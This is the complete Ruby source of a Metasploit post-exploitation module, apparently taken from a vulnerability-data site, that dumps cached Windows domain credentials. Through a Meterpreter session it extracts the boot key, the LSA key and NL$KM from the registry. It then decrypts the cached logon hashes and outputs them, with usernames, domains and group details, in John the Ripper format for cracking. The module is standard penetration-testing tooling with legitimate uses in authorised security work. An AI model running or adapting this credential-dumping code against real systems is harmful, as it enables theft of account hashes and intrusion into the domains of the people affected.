##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Credential Cache Dump',
'Description' => %q{
This module uses the registry to extract the stored domain hashes that have been
cached as a result of a GPO setting. The default setting on Windows is to store
the last ten successful logins.
},
'License' => MSF_LICENSE,
'Author' => [
'Maurizio Agazzini <inode[at]mediaservice.net>',
'mubix'
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_registry_open_key
]
}
}
)
)
end
def check_gpo
gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
end
def capture_nlkm(lsakey)
nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')
vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")
if lsa_vista_style?
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
elsif sysinfo['Architecture'] == ARCH_X64
nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
else # 32 bits
nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
end
return nlkm_dec
end
def parse_decrypted_cache(dec_data, s)
i = 0
hash = dec_data[i, 0x10]
i += 72
username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
i += s.userNameLength
i += 2 * ((s.userNameLength / 2) % 2)
vprint_good "Username\t\t: #{username}"
vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"
if lsa_vista_style?
if (s.iterationCount > 10240)
iterationCount = s.iterationCount & 0xfffffc00
else
iterationCount = s.iterationCount * 1024
end
vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
end
last = Time.at(s.lastAccess)
vprint_good "Last login\t\t: #{last.strftime('%F %T')} "
domain = dec_data[i, s.domainNameLength + 1]
i += s.domainNameLength
if (s.dnsDomainNameLength != 0)
dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.dnsDomainNameLength
i += 2 * ((s.dnsDomainNameLength / 2) % 2)
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
end
if (s.upnLength != 0)
upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.upnLength
i += 2 * ((s.upnLength / 2) % 2)
vprint_good "UPN\t\t\t: #{upn}"
end
if (s.effectiveNameLength != 0)
effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.effectiveNameLength
i += 2 * ((s.effectiveNameLength / 2) % 2)
vprint_good "Effective Name\t: #{effectiveName}"
end
if (s.fullNameLength != 0)
fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.fullNameLength
i += 2 * ((s.fullNameLength / 2) % 2)
vprint_good "Full Name\t\t: #{fullName}"
end
if (s.logonScriptLength != 0)
logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.logonScriptLength
i += 2 * ((s.logonScriptLength / 2) % 2)
vprint_good "Logon Script\t\t: #{logonScript}"
end
if (s.profilePathLength != 0)
profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.profilePathLength
i += 2 * ((s.profilePathLength / 2) % 2)
vprint_good "Profile Path\t\t: #{profilePath}"
end
if (s.homeDirectoryLength != 0)
homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.homeDirectoryLength
i += 2 * ((s.homeDirectoryLength / 2) % 2)
vprint_good "Home Directory\t\t: #{homeDirectory}"
end
if (s.homeDirectoryDriveLength != 0)
homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.homeDirectoryDriveLength
i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
end
vprint_good "User ID\t\t: #{s.userId}"
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
relativeId = []
while (s.groupCount > 0)
# TODO: parse attributes
relativeId << dec_data[i, 4].unpack('V')[0]
i += 4
attributes = dec_data[i, 4].unpack('V')[0]
i += 4
s.groupCount -= 1
end
vprint_good "Additional groups\t: #{relativeId.join ' '}"
if (s.logonDomainNameLength != 0)
logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
i += s.logonDomainNameLength
i += 2 * ((s.logonDomainNameLength / 2) % 2)
vprint_good "Logon domain name\t: #{logonDomainName}"
end
@credentials <<
[
username,
hash.unpack('H*')[0],
iterationCount,
logonDomainName,
dnsDomainName,
last.strftime('%F %T'),
upn,
effectiveName,
fullName,
logonScript,
profilePath,
homeDirectory,
homeDirectoryDrive,
s.primaryGroupId,
relativeId.join(' '),
]
vprint_good '----------------------------------------------------------------------'
if lsa_vista_style?
return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
else
return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
end
end
def parse_cache_entry(cache_data)
j = Struct.new(
:userNameLength,
:domainNameLength,
:effectiveNameLength,
:fullNameLength,
:logonScriptLength,
:profilePathLength,
:homeDirectoryLength,
:homeDirectoryDriveLength,
:userId,
:primaryGroupId,
:groupCount,
:logonDomainNameLength,
:logonDomainIdLength,
:lastAccess,
:last_access_time,
:revision,
:sidCount,
:valid,
:iterationCount,
:sifLength,
:logonPackage,
:dnsDomainNameLength,
:upnLength,
:ch,
:enc_data
)
s = j.new
s.userNameLength = cache_data[0, 2].unpack('v')[0]
s.domainNameLength = cache_data[2, 2].unpack('v')[0]
s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]
s.fullNameLength = cache_data[6, 2].unpack('v')[0]
s.logonScriptLength = cache_data[8, 2].unpack('v')[0]
s.profilePathLength = cache_data[10, 2].unpack('v')[0]
s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]
s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]
s.userId = cache_data[16, 4].unpack('V')[0]
s.primaryGroupId = cache_data[20, 4].unpack('V')[0]
s.groupCount = cache_data[24, 4].unpack('V')[0]
s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]
s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]
# Removed ("Q") unpack and replaced as such
thi = cache_data[32, 4].unpack('V')[0]
tlo = cache_data[36, 4].unpack('V')[0]
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
s.lastAccess = ((q / 10000000) - 11644473600)
s.revision = cache_data[40, 4].unpack('V')[0]
s.sidCount = cache_data[44, 4].unpack('V')[0]
s.valid = cache_data[48, 2].unpack('v')[0]
s.iterationCount = cache_data[50, 2].unpack('v')[0]
s.sifLength = cache_data[52, 4].unpack('V')[0]
s.logonPackage = cache_data[56, 4].unpack('V')[0]
s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]
s.upnLength = cache_data[62, 2].unpack('v')[0]
s.ch = cache_data[64, 16]
s.enc_data = cache_data[96..]
return s
end
def decrypt_hash(edata, nlkm, ch)
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.key = rc4key
decrypted = rc4.update(edata)
decrypted << rc4.final
return decrypted
end
def decrypt_hash_vista(edata, nlkm, ch)
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = nlkm[16...32]
aes.padding = 0
aes.iv = ch
decrypted = ''
(0...edata.length).step(16) do |i|
decrypted << aes.update(edata[i, 16])
end
return decrypted
end
def run
@credentials = Rex::Text::Table.new(
'Header' => 'MSCACHE Credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Hash',
'Hash iteration count',
'Logon Domain Name',
'DNS Domain Name',
'Last Login',
'UPN',
'Effective Name',
'Full Name',
'Logon Script',
'Profile Path',
'Home Directory',
'HomeDir Drive',
'Primary Group',
'Additional Groups'
]
)
begin
print_status("Executing module against #{sysinfo['Computer']}")
client.railgun.netapi32
join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']
if sysinfo['Architecture'] == ARCH_X64
join_status &= 0x00000000ffffffff
end
if join_status != 3
print_error('System is not joined to a domain, exiting..')
return
end
# Check policy setting for cached creds
check_gpo
print_status('Obtaining boot key...')
bootkey = capture_boot_key
vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
if lsakey.nil?
print_error('Could not retrieve LSA key. Are you SYSTEM?')
return
end
vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")
print_status('Obtaining NL$KM...')
nlkm = capture_nlkm(lsakey)
vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")
print_status('Dumping cached credentials...')
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)
john = ''
ok.enum_value.each do |usr|
if !usr.name.match(/^NL\$\d+$/)
next
end
begin
nl = ok.query_value(usr.name.to_s).data
rescue StandardError
next
end
cache = parse_cache_entry(nl)
next unless (cache.userNameLength > 0)
vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")
if lsa_vista_style?
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
else
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end
vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")
john << parse_decrypted_cache(dec_data, cache)
end
if lsa_vista_style?
print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
print_good("MSCACHE v2 saved in: #{p}")
john = "# mscash2\n" + john
else
print_status('Hash are in MSCACHE format. (mscash)')
p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
print_good("MSCACHE v1 saved in: #{p}")
john = "# mscash\n" + john
end
print_status('John the Ripper format:')
print_line john
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation